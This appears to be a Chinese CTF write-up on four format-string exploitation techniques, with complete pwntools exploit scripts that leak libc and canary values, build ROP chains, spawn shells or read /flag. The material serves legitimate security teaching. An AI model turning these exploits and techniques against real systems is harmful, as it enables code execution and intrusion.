四道題看格串新的利用方式

2021-02-25 安全客

作者:nuoye@星盟

相對於基本的%p進行leak和%n寫入,最近幾年出現了不少新的格式化字符串的利用方式,這裡以四道題為例,講下四個新的方法。

 

這道題主要涉及到到一個比較偏的格串符號*,在wiki中可以看到關於它的用法:

知道這一點,下面的題目也就不難了。

首先看下程序流程:

即輸入一個數以及一個9位元組的格式化字符串,從而使上述輸入的數與v3的值相同。

其中v3的值為隨機數:

這裡因為限制了只能輸入9個字節,所以需要用到*(type,表示取對應函數參數的值),其payload為:%7*$p%6$n。這樣即可將v3(在格串中對應偏移為7)的值輸入到v4(偏移為6)中,使兩數相等,進而getshell。

2020 ciscn 線下 and: pwn3thread

這道題本質上還是屬於棧溢出的內容,但因為涉及到printf函數中的一個函數劫持,所以也可以歸為格串的利用。

main函數如下:

即重複創建線程並等待返回。

線程中執行的函數:

該函數中首先保存了返回地址,並在結束前恢復返回地址,所以無法通過劫持該函數的返回地址來進行getshell。

該程序中用到了__printf_chk函數,該函數與printf的區別在於:

__printf_chk調用過程中有一個的buffered_vfprintf函數,相應漏洞內容如下:

其中fs寄存器指向線程棧地址之後連續的一塊地址,因此可以通過棧溢出劫持該指針,進而達到任意代碼執行的目的。

思路:

利用%p列印出libc地址和canary值,以便棧溢出

洩漏處libc+0x3F0990處的值,並進行移位操作,再與onegadget進行異或得到一格特定值。

將該特定值通過棧溢出的方式寫入到fs+0x30處,從而達到getshell目的。

exp:

from pwn import *p = process("./pwn")libc = ELF("./pwn").libcone = [0x4f3d5,0x4f432,0x10a41c]def ROR(i,index):    tmp = bin(i)[2:]    tmp = (64-len(tmp))*'0'+tmp    for j in range(index):        tmp = tmp[-1]+tmp[:-1]    return int(tmp,2)
i = 7+5p.sendline("%p"*i)p.recvuntil("0x")libc_base =int(p.recv(12),16)-0x3ED8D0libc.address = libc_baseprint hex(libc_base)for i in range(i-5): p.recvuntil("0x")canary =int(p.recv(),16)print hex(canary)
payload = '%p'*6+'%s'+'aa'+p64(libc.address+0x3F0988)p.sendline(payload)p.recvuntil("025")p.recvuntil("0x")p.recvuntil("6161732570257025")
a = u64(p.recv(8))b = ROR(a,0x11)c = b ^ libc.address+one[1]print hex(a)print hex(b)payload = "a"*0x38+p64(canary)payload = payload.ljust(0x850,'\x00')payload += p64(0)*6+p64(c)p.sendline(payload)
p.interactive()

2019 delta ctf : unprintable

很經典的一道關于格式化字符串的利用,這裡也稍微講解一下。

程序截圖如下:

關閉了回顯,並且存在格式化字符串漏洞,但是直接通過exit函數退出了,並且棧上也沒有什麼可以利用的點:

但細心點可以發現下面兩個地址:

在調用exit函數退出程序時,會調用到的_dl_fini函數,而該函數會根據link_map的l_addr偏移量來調用&fini_ararry+l_addr中存放的函數:

if (l->l_info[DT_FINI_ARRAY] != NULL){    ElfW(Addr) *array =    (ElfW(Addr) *) (l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);    unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));    while (i-- > 0)    ((fini_t) array[i]) ();}

在gdb中調試可以發現如下代碼:

可以看到將會調用[0x600e38+8]+[rbx]處的值對應的函數,而其中rbx即是上面_dl_init+139前一個地址,該地址即為l_addr的地址。

利用該漏洞,可以通過修改l_addr,從而再一次進行read和printf,並且這一次在棧上我們可以發現一些有用的東西:

通過劫持這幾個地址即可重複的實現格式化字符串漏洞的利用。接著通過編寫rop串將stderr修改為onegadget然後執行即可。

exp:

from pwn import *p = process("./de1ctf_2019_unprintable",env={'LD_PRELOAD':'./libc-2.23.so'})libc = ELF("./libc-2.23.so")
p.recvuntil("0x")stack = int(p.recv(12),16)-0x110-8print hex(stack)
payload = "%"+str(0x298)+"c%26$hn"payload = payload.ljust(0x10,'\x00')+p64(0x4007A3)p.send(payload)

sleep(1)pop_rsp = 0x000000000040082dcsu_pop = 0x000000000040082Acsu_call = 0x0000000000400810stderr_ptr_addr = 0x0000000000601040stdout_ptr_addr = 0x0000000000601020one = [0x45226,0x4527a,0xf0364,0xf1207]one = [0x45216,0x4526a,0xf02a4,0xf1147]one_gadget = one[3]offset = one_gadget - libc.sym['_IO_2_1_stderr_']adc_p_rbp_edx = 0x00000000004006E8
rop_addr = 0x0000000000601260tmp = stderr_ptr_addr-0x48
rop = p64(csu_pop)rop += p64(tmp-1) rop += p64(tmp) rop += p64(rop_addr + 0x8 * 6 - tmp * 8 + 0x10000000000000000) rop += p64(offset + 0x10000000000000000) rop += p64(adc_p_rbp_edx) rop += p64(0) rop += p64(csu_call)
rop += p64(csu_pop)rop += p64(0) rop += p64(1) rop += p64(stderr_ptr_addr) rop += p64(0) rop += p64(0) rop += p64(0) rop += p64(csu_call)
rop_addr = rop_addr-0x18addr1 = rop_addr&0xffff+0x10000addr2 = (rop_addr>>16)&0xffff+0x10000addr3 = (rop_addr>>32)&0xffff+0x10000

payload = '%' + str(0xA3) + 'c%23$hhn'payload += '%' + str((stack-0xa3)&0xff) + 'c%18$hhn'p.send(payload)sleep(1)stack = stack+2payload = '%' + str(0xA3) + 'c%23$hhn'tmp1 = (stack-0xa3)&0xffpayload += '%' + str(tmp1) + 'c%18$hhn'tmp2 = tmp1+0xa3payload += '%' + str((addr1-tmp2)&0xffff) + 'c%13$hn'p.send(payload)sleep(1)

stack = stack+2payload = '%' + str(0x60) + 'c%13$hn'payload += '%' + str(0xA3-0x60) + 'c%23$hhn'tmp1 = (stack-0xa3)&0xffpayload += '%' + str(tmp1) + 'c%18$hhn'p.send(payload)sleep(1)
payload = '%13$hn'payload += '%' + str(pop_rsp&0xffff) + 'c%23$hn'payload = payload.ljust(0x200,'\x00')payload += ropp.send(payload)sleep(1)p.sendline("sh >&2")p.interactive()

2020 ciscn 線下 break&fix : anti

程序主要功能如下:

可以看到與unprintable類似,同樣進行了close(1)。但用seccomp查看可以發現禁用了execute系統調用:

並且還開啟了pie,因此做法就不能與unprintable相同了。

這裡利用了IO結構中的_fileno,正常情況下,stdin、stdout、stderr分別對應1、2、3。通過修改這個值,可以將輸入輸出重定向到其他標識符中。這裡只關閉了1(即標準輸出),但是2(也就是標準錯誤輸出)沒有關閉,因此可以將其改為2,通過標準錯誤輸出來進行輸出,接著就可以進行leak,然後遷棧到buf中進行orw了。

這裡的關鍵點在於如何修改stdout的_fileno,通過觀察可以發現在給出的棧地址相對偏移-70的地方存在_IO_2_1_stdout的地址:

通過修改其低字節為\x90即可指向_fileno,接著就是如何對其進行寫入操作了。這裡需要爆破一下,將從vuln返回後能夠進入到讀取字符串處,只要將rbp改為上述棧地址+0x18處,即可實現修改:可以看到存在三個棧指針地址(0、4、8),以及一系列pie地址,第一步要做3個操作:將返回地址(即1)修改為ret指令的地址,以便執行2處地址。(因為只能通過%hhn寫入一字節,直接修改這個地址會直接跳轉過去導致失敗)這裡2和3步驟需要同時完成,同時,為了使讀取_fileno後返回還能正常輸入,這裡需要將棧地址-0x58的值修改為棧地址+0xc0,也就是使其返回後執行start函數(這裡因為將_fileno修改為2了,所以close(1)不會再產生影響)。到這裡就完成了輸出的重定向,接著就是leak,然後遷棧以及orw即可了。

from pwn import *p = process("./anti")libc = ELF("anti").libcp.recvuntil(" 0x")stack = int(p.recv(12),16)print "stack1 : " + hex(stack)
pay = "%"+str((stack-0x18)&0xff)+"c%6$hhn"p.sendline(pay)
pay = "%"+str((stack-0x70)&0xff)+"c%10$hhn"p.sendline(pay)
pay = "%"+str(0x90)+"c%6$hhn"p.sendline(pay)

pay = "%"+str((stack-0x18)&0xff)+"c%10$hhn"p.sendline(pay)
pay = "%"+str((stack-0x8)&0xff)+"c%6$hhn"p.sendline(pay)
pay = "%"+str(0xdf)+"c%6$hhn"p.sendline(pay)
pay = "%"+str((stack-0x8+1)&0xff)+"c%10$hhn"p.sendline(pay)
pay = "%"+str(0x4c)+"c%6$hhn"p.sendline(pay)


pay = "%"+str((stack-0x58)&0xff)+"c%10$hhn"p.sendline(pay)
pay = "%"+str((stack+0xc0)&0xff)+"c%6$hhn"p.sendline(pay)


pay = "%"+str((stack-0x10)&0xff)+"c%10$hhn"p.sendline(pay)
pay = "%"+str(0x3c)+"c%6$hhn"pay += "%"+str((stack-0x58-0x3c)&0xff)+"c%10$hhn"p.sendline(pay)
p.sendline("\x02")p.send("\n")

p.recvuntil(" 0x")stack = int(p.recv(12),16)print "stack2 : " + hex(stack)p.sendline("%7$p%13$p")
p.recvuntil("0x")pie = int(p.recv(12),16) -0xf96print "pie : " + hex(pie)
p.recvuntil("0x")libc.address = int(p.recv(12),16) -0x20840print "libc_base : " + hex(libc.address)


buf = pie+0x202040pop_rsp_4 = pie + 0x000000000000104dpop_rax = 0x000000000003a738 + libc.addresspop_rdi = 0x0000000000021112 + libc.addresspop_rdx = 0x0000000000001b92 + libc.addresspop_rsi = 0x00000000000202f8 + libc.addresssyscall = 0x00000000000bc3f5 + libc.address
rop = ''rop += p64(pop_rax)rop += p64(2)rop += p64(pop_rdi)rop += p64(buf+0x100)rop += p64(pop_rsi)rop += p64(0)rop += p64(pop_rdx)rop += p64(0)rop += p64(syscall)
rop += p64(pop_rax)rop += p64(0)rop += p64(pop_rdi)rop += p64(1)rop += p64(pop_rsi)rop += p64(buf+0x500)rop += p64(pop_rdx)rop += p64(0x100)rop += p64(syscall)
rop += p64(pop_rax)rop += p64(1)rop += p64(pop_rdi)rop += p64(2)rop += p64(pop_rsi)rop += p64(buf+0x500)rop += p64(pop_rdx)rop += p64(0x100)rop += p64(syscall)

pay = "%"+str((stack-0x8)&0xff)+"c%6$hhn"p.sendline(pay)
pay = "%"+str(pop_rsp_4&0xff)+"c%10$hhn"p.sendline(pay)
pay = "%"+str((stack-0x8+1)&0xff)+"c%6$hhn"p.sendline(pay)
pay = "%"+str((pop_rsp_4>>8)&0xff)+"c%10$hhn"p.sendline(pay)

pay = "%"+str((stack-0x10)&0xff)+"c%6$hhn"p.sendline(pay)p.recv()pay = "%"+str(0x3c)+"c%10$hhn"pay = pay.ljust(0x18,'\x00')pay += roppay = pay.ljust(0x100,'\x00')pay += '/flag\x00'p.sendline(pay)p.recv(0x3c)

p.interactive()

詳解 De1ctf 2019 pwn——unprintable

相關焦點

  • 我的世界:據說老MC也答不上來的5道難題!萌新只能對1道,你呢?
    《我的世界》通常判斷老玩家還是萌新,判別方式就是答題。今天小編收集了老MC5道專業能力測試題,第一題的礦車會駛向哪個位置?你答對了麼?
  • 幼少兒最強大腦:四宮格數獨162題
    我們之前分享過《數獨經典20題》,有很多家長諮詢有沒有入門級的數獨訓練試題,今天我們整理了162道數獨四宮格的試題,希望對孩子們的學習有幫助。四宮格數獨由4行4列共16個小格子構成。分別在格子中填入1到4的數字,並滿足下面的條件:1、每一行都用到1,2,3,4且數字不重複。
  • 四宮格數獨題目500道題免費下載,分難度級別整理,可列印!
    今天不是要分享課程,而是要分享一個免費資源《數獨四宮格500題》。這500道題,我們做了精選挑選,並按照難易程度分了3個級別。為了方便大家列印並節省紙張,每一頁放置了12個題目。雖然說,數獨題目,在網上能搜索到很多,但我們自認為,相比網上那些複製粘貼的資料,我們做了很用心的編排。
  • 四道Java基礎題,你能對幾道?
    } System.out.println(a==b); System.out.println(c==d);如果這道題你能得出正確答案,並能了解其中的原理的話。這就是這道題的有趣之處,無論是面試題還是論壇討論區,這道題的出場率都很高。原理其實很簡單,我們去看下Integer.java這個類就瞭然了。public static Integer valueOf(int i) { return i >= 128 || i < -128 ?
  • 一招解決4道leetcode hard題,動態規劃在字符串匹配問題中的應用
    在做leetcode的時候,遇到hard題大家往往都覺得頭疼,但其實,掌握方法,舉一反三,hard題有時候我們也能想到好的思路,順利攻破,今天我們就介紹一下動態規劃在字符串匹配中的應用,相同類型的題目在前120道題中居然出現了4次!有必要好好總結一下!這四道題分別是:10.
  • 經典leetcode算法題分享(字符串)
    我們可以先看看題解,看完思路再自己寫,千萬不要照抄,要自己想出來才能鍛鍊編程能力。所謂talking is cheap, show me code,那麼我們就從字符串開始吧!20.解題思路:一看到這道題,直呼是送分題,這反轉字符串不就是JavaAPI就有了嗎,於是乎直接大膽的,兩行代碼搞定,好傢夥!一下子重拾回作為程式設計師的信心!
  • 小學四道數學題:難度係數大,智商高的請挑戰,最後一題坐等高手
    老師認為,做一些毫無疑問的所謂難題,沒有多大意義,比如這道題,屬於一年級腦筋「急轉彎」的題:看到答案,會不會產生「沒有多大意思」的感覺?不過,如果孩子學有餘力,適當做一些有益於鍛鍊智力的數學題,確實可以起到開拓思維的作用。
  • 四宮格|兒童數獨60題-支持列印
    小孩從3周歲起就可以玩數獨遊戲了,建議從簡單的四宮格玩起,然後慢慢過渡到六宮格如何引導孩子玩數獨,可以看之前文章-幼兒邏輯啟蒙第八節的內容數獨電子版資料連結(包括卡通數獨、四宮格60題、六宮格100題、九宮格100題)可以直接下載列印給孩子,有需要的可私信我。
  • 中考難題突破:格點相似三角形深入研究,8道例題全面解析!
    老規矩,各位同學還是先自己嘗試著挑戰一下,感受一下這類題的獨特魅力,同時感受下它的難度。做完之後,再看下面的講解,相信會有更大的收穫!例1這道題算是小試牛刀,沒有任何難度,第1小題圖都已經給你了,無非就是根據三邊成比例去判定相似即可,剩下的都是計算的事了。
  • 超詳細的數獨題目(四宮格/六宮格/九宮格)來了!免費下載,可列印!
    之前整理了《四宮格數獨500題》,受到了不少家長的喜愛。針對文檔中的個別錯誤,有家長還給我指出來了,我也及時作了修正。
  • 圖形推理套題實戰1,3分鐘3道題,你能做對幾道?
    3道題3分鐘,你看你能做對幾道?首先,我先說一下,我做圖形推理的方法論:「四看」思維看整體,找相同,看有沒有相同的組成元素。看特殊,特徵圖,識別相應考點的特徵圖。相鄰看,比較圖一和圖二,不同部分在哪裡:1、黑球數量不一致,但整體無規律,且白球也無整體一致的規律。2、空都有兩個且位置有變化,確定此題應該是考察「空」這個元素的位置變化。分開看,根據16宮格的特性,可以分為內外「回字圈」,可看出內圈的空是對角線位置互換,外圈的空是逆時針走兩格。
  • excel字符合併技巧:幾種連接字符串的方法助你高效辦公
    用excel連接字符串,是我們在日常工作中,比較常用的技巧。相信大家使用最多的連接方式就是「&」。但其實,在excel中連接字符串的方法有很多,並且,看似不怎麼起眼的連接字符串在某些特定的場合卻有著神奇的妙用。是不是很好奇呢?趕緊跟著作者E圖表述的步伐,來看看吧!
  • 政治大題穩拿30+!肖四高效使用方法必看
    4套卷分析題全背(馬原那道題說過多次,重點掌握原理、學會從材料找原理,不是靠自己硬背的)   Q:肖教授,昨天4套卷到手就崩潰了,4套卷選擇題我做錯的是八套卷的一倍是什麼情況,感覺經過長時間的複習,我已經無法選擇感覺是正確的答案了,我總有出題必有坑的感覺。   A:是會有這麼一個過程,①看不見坑;②看什麼都像坑;③隨緣。。。否定之否定的過程。
  • LeetCode刷題實戰5:判斷回文子串
    今天和大家聊的問題叫做判斷回文子串,這道題很有意思,我們先來看題面:Example 1:Input: "babad"Output: "bab"Note: "aba" is also a valid answer.Example 2:Input: "cbbd"Output: "bb"雖然LeetCode裡給這道題的難度是Medium,但實際上並不簡單,我們通過自己思考很難想到最佳解法
  • 玩數獨=高智商,對角線四宮格數獨解題方法及72道訓練題
    關於數獨訓練,我們已經分享過很多,如【連體六宮格數獨訓練20題】【六宮格數獨90題】【四宮格數獨162題】【數獨九宮格經典20題】等,大家越來越清楚,數學學習中,比知識層面的學習更重要的是數學思維的培養,而邏輯思維是最重要的數學思維之一。恰好數獨是很好訓練邏輯思維的方式。解出數獨的過程其實就像一個偵探在破案,需要孩子去觀察,去思考,去推理,找到線索,超級鍛鍊孩子的邏輯推理能力。
  • 兩種方式設置Excel單元格樣式,哪種效果更好?Python編程探討!
    xlwt模塊重拳出擊,看這一篇就夠了!Excel設置單元格邊框樣式,Python可以實現嗎?xlwt模塊說可以!連結好多,粘不上去了,有限制,喜歡的小夥伴關注我,往期內容都有詳細介紹。它定義了6組格式屬性:02如何利用代碼控制單元格的樣式和格式【方法一】實例化類跟我們之前設置單元格樣式及格式時採用的方法一樣首先實例化特定的樣式,如borders = xlwt.Borders(),這裡實例化了描述了邊框樣式的類
  • 看圖猜成語:5道題,平凡人也能答對四道
    對於一些愛動腦的朋友來說,看圖猜成語題是一類非常適合鍛鍊腦力的活動,在不斷猜題的過程中享受著不同的樂趣,也不斷積累著不同的成語。相信大家都知道很多成語的含義也是非常豐富難懂的,喜歡各類成語的朋友都應該很清楚,無論是從字的表面看還是從其更深層的內容方面去理解,都可以表達出不同的含義出來,特別是應用在不同的條件下,更能體現出不一樣的含義出來。
  • 利用Python隨機生成100道加法題
    本文我們將利用python實現一個很有意思的功能:隨機生成100道加法題。首先給出效果圖:代碼很簡單:雖然代碼看上去有很多的行,但是核心代碼就是4、5兩行。random模塊首先看一下random.seed(a=None, version=2)這個函數,seed這個函數是初始化生成器,當傳入的參數a=None時,輸入默認值為系統的時間。這個函數有什麼用?當我們想在不同的文件中生成一樣的隨機數怎麼辦?我們可以為他們設置相同的seed。
  • excel2007將多個單元格內容拼接成一個字符串小技巧,一起看看吧
    在我們使用表格的時候,有時需要將幾個單元格中的內容放在一起,如果用複製粘貼的方法太慢,在這裡我教大家一個快速拼接字符串的小技巧,下面我們一起操作演示一下吧。在單元格中輸入:=+省份單元格(可用滑鼠點擊)+&+地址單元格(可用滑鼠點擊)輸入完成後,敲回車,第一條記錄的字符串已拼接完成。按住滑鼠左鍵,拖動右下角的小黑塊,複製公式。
  • 每日一道中考壓軸題:電路的串、並聯,歐姆定律、電功率計算題
    在考試中,我們一般把最後的綜合題目稱為壓軸題。今天,我們來學習一道中考物理必考的電路的串、並聯、歐姆定律、電功率的壓軸題,有意思的是,這道題是雲南2019年最後三道壓軸題的排名倒數第二,更加顯得重要。分值9分。